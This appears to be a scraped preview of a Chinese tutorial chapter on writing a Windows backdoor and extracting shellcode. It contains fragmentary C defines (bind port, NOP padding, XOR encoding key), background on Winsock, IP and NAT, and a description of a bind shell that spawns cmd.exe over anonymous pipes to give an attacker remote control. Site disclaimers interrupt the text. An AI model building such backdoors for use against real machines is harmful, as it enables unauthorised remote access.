所以所有WINNT系统通杀void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c 格式打印////用到的部分定义//#define BEGINSTRLEN 0x08 //开始字符串长度#define ENDSTRLEN 0x08 //结束标记字符的长度#define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用#define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口#define BUFFSIZE 0x20000 //输出缓冲区大小#define sc_PORT 7788 //绑定端口号 0x1e6c#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小#define Enc_key 0x7A //编码密钥#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?#define MAX_Sc_Len 0x2000 //hellCode的最大长度8192足够?#define MAX_api_strlen 0x400 //APIstr字符串的长度#define API_endstr "strend"//API结尾标记字符串#define API_endstrlen 0x06 //标记字符串长度//定义函数开始字符,定位用#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90"__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90#define PROC_END PROC_BEGIN//---------------------------------------------------enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

第三章、后门的编写和ShellCode的提取---------------------------------------------IP和Socket编程初步
我们的ShellCode的功能是完成网络的远程连接,那自然会涉及到网络通信。

网络通信有好几种实现方法,这里我们使用Windows Socket编程
Windows下网络通信编程的几种方式
★第一种是基于NetBIOS的网络编程,这种方法在小型局域网环境下的实时通信有很高的效率
★第二种是基于Winsock的网络编程;这种方法使用一套简单的Windows API函数来实现应用层上的编程
★第三种是直接网络编程;比如Winpcap、libnet等网络数据包构造技术可以完成链路层或网络层上的网络编程
★第四种是基于物理设备的网络编程,即MAC层编程接口
Internet IP地址由Inter NIC(Internet网络信息中心)统一负责全球地址的规划、管理通常,每个国家需成立一个组织统一向有关国际组织申请IP地址,然后再分配给客户。

IP地址分为A、B、C、D和E类。

IP地址通常以圆点为分隔号的4个十进制数字表示,每个数字对应于8个二进制的比特串,如某一台主机的IP地址表示格式为:128.20.4.1 。

IP地址危机和NAT转换
最初设计IP协议时,设计者没有料到网络会如此的高速发展,现在IP地址正迅速的枯竭,如果没有IP地址,主机或者移动通信设备在网络上就没有唯一的身份识别,也就不能发送或接收数据了。

有两种解决办法。

★一是使用新一代的IP协议——IPv6,IPv6采用128位数字,所以地址的范围可以看作是无限的;
★另一种是使用NA T(Network Address Translation)——网络地址转换,允许内部网络上的多台PC(使用内部地址段,如10.0.x.x、192.168.x.x、172.x.x.x)共享单个、全局路由的IPv4 地址,这在一定程度上缓解了IP地址不足的问题。

端口port
是指TCP/IP协议中规定的端口,范围从0到65535。

它可以标志某种服务,比如网页服务器一般是80端口,FTP服务器一般是21端口;在客户端连接中,也需要
一个端口来通信,一般是比较高的动态端口号。

对客户端程序的流程概括:
★首先是初始化Windows Socket Dll:WSAStartup(MAKEWORD(2,2),&ws);
★然后建立Socket:sockfd = socket(AF_INET, SOCK_STREAM, 0)
进程间通信及管道
再重述一遍我们Shellcode的功能:在目标机器开一个Telnet 服务器,监听某个端口,然后等待攻击机来连接。

当攻击机连接之后,为它开创一个cmd.exe,把攻击机的输入输出和cmd.exe的输入输出联系起来。

这样,远程攻击者就像Telnet一样,有了一个远程Shell。

要把cmd.exe的输入输出和主进程联系起来,有两种思路。

★第一种方法是只用一个匿名管道,有命令数据来,主进程以数据为参数马上新建一个cmd.exe进程执行,执行的结果由匿名管道返回。


★另一种方法是用两个匿名管道,只开一个cmd.exe进程。

有命令来时,通过一个匿名管道传给cmd.exe,执行结果通过另一个匿名管道返回给主进程。


---------------------------------------------‘。

相关文档
最新文档